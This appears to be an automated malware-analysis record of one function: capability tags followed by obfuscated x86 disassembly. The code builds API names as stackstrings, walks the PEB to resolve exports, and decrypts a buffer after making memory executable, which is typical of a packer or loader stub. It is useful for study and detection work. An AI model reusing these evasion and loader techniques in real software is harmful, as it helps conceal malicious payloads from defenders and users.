Function at 0x4a36b4
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
add esp, 4
or eax, 0xf8e3
add eax, 0x2148
sub eax, 0x268d
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
idiv bh
push dword [edx - 0x3a]
test dword [ebx + 0x74fffff6], esp
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
and edi, 0xcb9c
add edi, 0x17ef6
add edi, 0xa34b
pop edi
push edx
push edx
add esp, 4
and edx, 0xd26
xor edx, 0xa98e
and edx, 0x1750
sub edx, 0x31c5
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
jmp 0x4a3793
add ebx, 0xaadf
pop ebx
push esi
push eax
add esp, 4
call 0x4a37af
add byte [0x3b323748], bh
dec edi
dec ebx
xor al, 0x43
cmp al, 0x83
les eax, [ecx + eax*4]
test byte [ecx - 0x7effff48], 0xce
push cs
pop ecx
add byte [eax], al
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x4a37d7
mov dword [ebp - 0x2a8], 0
jmp 0x4a3a7e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
sub esi, 0x15ec7
jmp 0x4a37f5
pop esi
push edx
jmp 0x4a37ff
call 0x4a380f
add byte [ebx + 0x43], al
dec esp
dec ebx
dec esi
cmp al, byte [ebx + 0x36]
xor al, 0x42
add esp, 4
pop edx
push eax
sub eax, 0x13a25
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x4a3833
mov dword [ebp - 0x2a8], 0
jmp 0x4a3a7e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push ebx
add esp, 4
call 0x4a3853
add byte [ebx + 0x43], cl
dec esi
inc esp
cmp bh, byte [eax]
cmp cl, byte [edi + 0x3e]
add esp, 4
or esi, 0xcb6e
add esi, 0x32fb
sub esi, 0x14d92
pop esi
push esi
add esi, 0x8172
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push edx
add esp, 4
and edx, 0xd2ee
jmp 0x4a38af
xor edx, 0xb3c3
pop edx
push esi
or esi, 0xb916
call 0x4a38c9
add byte [edi + 0x46], cl
xor eax, 0x83434f46
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push ebx
add esp, 4
add eax, 0x2157
sub eax, 0x12eb2
jmp 0x4a393c
pop eax
push ebx
call 0x4a394a
add byte [ebp + 0x44], al
dec ecx
xor eax, 0xc4834843
add al, 0xeb
push es
dec edx
push eax
cmp byte [edi + 0x4e], al
cmp eax, 0x45b70f5b
enter 0xffffffffffffc085, 0x75
adc eax, 0xfc8db70f
std
invalid
push eax
call 0x4a3a8b
add byte [ebx + 0x4e], cl
cmp eax, dword [ebx + 0x3f]
dec eax
add esp, 4
jmp 0x4a3a97
xor eax, 0x9cab
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x14e77
add ebx, 0xd3d6
pop ebx
cmp dword [ebp - 0x2a8], 0
jne 0x4a43b5
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
push ecx
add esp, 4
or edi, 0x17394
and edi, 0x3e36
pop edi
push ebx
push edx
add esp, 4
or ebx, 0xee55
add ebx, 0x16047
sub ebx, 0xa567
pop ebx
push esi
xor esi, 0x13cc3
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push edx
add esp, 4
add edx, 0x150ec
pop edx
push ebx
push edi
add esp, 4
and ebx, 0xc249
pop ebx
push edi
push esi
add esp, 4
or edi, 0xf131
pop edi
push eax
and eax, 0x10bf0
or eax, 0x10c40
pop eax
cmp dword [ebp - 0x1518], 0
jne 0x4a3c55
mov dword [ebp - 0x710], 0
jmp 0x4a3efc
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push eax
add esp, 4
or ebx, 0x108f4
sub ebx, 0xb34f
add ebx, 0x14e65
pop ebx
push eax
xor eax, 0xcedc
pop eax
push esi
push esi
add esp, 4
sub esi, 0xd5e0
add esi, 0x15aa5
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x4a3cb1
mov dword [ebp - 0x710], 0
jmp 0x4a3efc
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push ecx
add esp, 4
sub edx, 0xb000
pop edx
push ebx
call 0x4a3cd7
add byte [ebx + 0x42], al
dec esi
cmp bh, byte [esi]
xor dl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
ret
push edx
and edx, 0xc0ed
xor edx, 0xc13
pop edx
push esi
push esi
add esp, 4
call 0x4a3f1d
add byte [eax + 0x46], cl
inc edi
dec esi
dec edi
cmp byte [ebx + 0x50], cl
add esp, 4
sub esi, 0x12033
jmp 0x4a3f2d
pop esi
cmp dword [ebp - 0x710], 0
jne 0x4a3f78
push eax
sub eax, 0x14623
xor eax, 0x29ee
and eax, 0x5347
call 0x4a3f59
add byte [ecx + 0x38], al
dec esi
xor eax, 0x4d384f38
add esp, 4
pop eax
push esi
push esi
add esp, 4
add esi, 0xd2b
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x4a4aa0
push ecx
push ebx
add esp, 4
or ecx, 0x4d4
pop ecx
push edx
push edi
add esp, 4
add edx, 0xd24
call 0x4a3f9f
add byte [ecx + edi + 0x49], cl
dec esi
push eax
inc edx
inc ebp
cmp al, 0x37
dec esi
add esp, 4
jmp 0x4a3fa9
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4a3fe9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4a42da
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4a4011
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4a42da
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4a4043
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4a42da
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4a4068
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4a42da
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4a40c2
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4a42ce
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4a4132
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4a41e4
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4a41e4
push edx
call 0x4a416e
add byte [0x353e3d36], bh
inc esi
dec ebx
dec edx
add esp, 4
call 0x4a4181
add byte [0x363a473d], bh
inc ecx
dec esi
aas
dec eax
dec esi
add esp, 4
sub edx, 0xe8a8
xor edx, 0x6e72
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4a41d6
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4a41dd
jmp 0x4a4123
invalid
jmp 0x4a41e4
push esi
jmp 0x4a41ec
xor esi, 0x48b2
pop esi
push edi
push eax
add esp, 4
and edi, 0x14c47
call 0x4a420c
add byte [esi], bh
dec ebp
cmp eax, dword [ecx + 0x50]
dec edx
cmp al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
out dx, eax
jae 0x4a41d8
add byte [eax], al
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4a4243
mov dword [ebp - 0xc5c], 0
jmp 0x4a42b2
push esi
push eax
add esp, 4
sub esi, 0xc44a
xor esi, 0x276
sub esi, 0x558d
sub esi, 0x14ed
pop esi
push edx
sub edx, 0xa89d
or edx, 0x3f30
xor edx, 0x160fe
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4a42a8
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4a42b2
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4a42c9
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4a42da
jmp 0x4a40b3
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4a43b5
push ecx
push edx
add esp, 4
and ecx, 0x165bd
pop ecx
push edi
add edi, 0x16ab9
call 0x4a4309
add byte [ecx], bh
inc eax
dec edx
inc eax
inc edx
cmp eax, 0xc4834d32
add al, 0x81
invalid
push edx
sub edx, 0xea09
call 0x4a43cc
add byte [eax], bh
cmp eax, 0x32414949
inc ebp
cmp eax, 0xc4833435
add al, 0x81
retf 0xc501
push edi
add edi, 0xb627
add edi, 0xc2ad
pop edi
push eax
push eax
add esp, 4
xor eax, 0x941a
and eax, 0x1740a
pop eax
push edx
jmp 0x4a4ac9
pop edx
push ebx
xor ebx, 0x2800
pop ebx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4a4b45
push eax
push esi
add esp, 4
sub eax, 0x2b35
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0x14d2d
xor ebx, 0x3753
or ebx, 0x9ae3
pop ebx
push eax
add eax, 0x15448
and eax, 0x6c37
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4a4b62
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x4a4bbe
push esi
jmp 0x4a4b79
sub esi, 0x615
xor esi, 0x624d
pop esi
push edx
xor edx, 0x130ac
pop edx
push edx
and edx, 0x70ec
add edx, 0xe27c
or edx, 0xfdba
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4a4b53
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4a4c36
push edi
jmp 0x4a4bfa
or edi, 0x8dc3
pop edi
push eax
push esi
add esp, 4
xor eax, 0x9fcb
jmp 0x4a4c15
or eax, 0x2104
and eax, 0xf686
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
or esi, 0x13258
or esi, 0x8a6c
or esi, 0x1f7d
pop esi
push edi
push edx
add esp, 4
add edi, 0x17b16
xor edi, 0x519c
sub edi, 0x10df6
or edi, 0x17184
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff07ff
pop ecx
pop edx
out dx, eax
push cs
pop es
pop es
pop es
pop es
push eax
inc esi
push eax
inc edi
cmp cl, byte [edx + 0x58620bcb]
mov al, cl
pop es
js 0x4a4c94
pop es
mov al, ch
mov esp, edx
pop es
pop es
out dx, eax
adc al, byte [edi]
pop es
pop es
pop es
dec edi
push eax
push ecx
dec ebp
cmp al, 0x4a
cmp eax, 0x8a3b5047
retf